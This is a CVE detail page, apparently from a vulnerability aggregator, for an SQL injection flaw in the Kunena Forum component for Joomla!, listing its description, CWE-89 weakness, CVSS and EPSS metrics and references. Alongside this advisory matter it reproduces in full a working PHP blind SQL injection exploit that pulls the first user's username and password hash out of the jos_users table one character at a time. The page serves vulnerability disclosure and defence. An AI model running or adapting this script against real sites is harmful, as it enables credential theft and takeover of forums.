CVE-2009-4550 : Detail

CVE-2009-4550

SQL Injection
A03-Injection
0.08%V3
Network
2010-01-04
16h00 +00:00
2017-09-18
10h57 +00:00
CVE.org
NVD
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CVE Descriptions

SQL injection vulnerability in the Kunena Forum (com_kunena) component 1.5.3 and 1.5.4 for Joomla! allows remote attackers to execute arbitrary SQL commands via the func parameter to index.php.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 9408

Publication date : 2009-08-09 22h00 +00:00
Author : ilker Kandemir
EDB Verified : Yes

<?php ini_set("max_execution_time",0); print_r(' ############################################################################## # # Joomla Kunena Forums (func) Blind SQL Injection Exploit # # MEFISTO a.k.a ilkerkandemir # mefisto [at] hackermail . com # (IMT) imhatimi.org # Usage: target.php [site][SQL] # ############################################################################## '); if ($argc > 1) { $url = $argv[1]; $r = strlen(file_get_contents($url."+and+1=1--")); echo "\nExploiting:\n"; $w = strlen(file_get_contents($url."+and+1=0--")); $t = abs((100-($w/$r*100))); echo "Username: "; for ($i=1; $i <= 30; $i++) { $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--")); if (abs((100-($laenge/$r*100))) > $t-1) { $count = $i; $i = 30; } } for ($j = 1; $j < $count; $j++) { for ($i = 46; $i <= 122; $i=$i+2) { if ($i == 60) { $i = 98; } $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--")); if (abs((100-($laenge/$r*100))) > $t-1) { $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--")); if (abs((100-($laenge/$r*100))) > $t-1) { echo chr($i-1); } else { echo chr($i); } $i = 122; } } } echo "\nPassword: "; for ($j = 1; $j <= 49; $j++) { for ($i = 46; $i <= 102; $i=$i+2) { if ($i == 60) { $i = 98; } $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--")); if (abs((100-($laenge/$r*100))) > $t-1) { $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--")); if (abs((100-($laenge/$r*100))) > $t-1) { echo chr($i-1); } else { echo chr($i); } $i = 122; } } } } else { echo "\nExploiting Failed \n"; } /* Note: <name>Kunena</name> <version>1.5.3</version> <versionname>Spreek</versionname> <creationDate>2009-06-15</creationDate> <build>1688</build> <author>www.Kunena.com</author> <authorEmail>Kunena@Kunena.com</authorEmail> <authorUrl>http://www.Kunena.com</authorUrl> <copyright>www.Kunena.com</copyright> <license>GNU/GPL</license> <description>Kunena Forum</description> */ ?> # milw0rm.com [2009-08-10]

Products Mentioned

Configuraton 0

Joomla>>Joomla\! >> Version *

Kunena>>Kunena_forum >> Version 1.5.3

    Kunena>>Kunena_forum >> Version 1.5.4

      References

      http://www.exploit-db.com/exploits/9408
      Tags : exploit, x_refsource_EXPLOIT-DB
      http://www.securityfocus.com/bid/36020
      Tags : vdb-entry, x_refsource_BID
      http://secunia.com/advisories/36245
      Tags : third-party-advisory, x_refsource_SECUNIA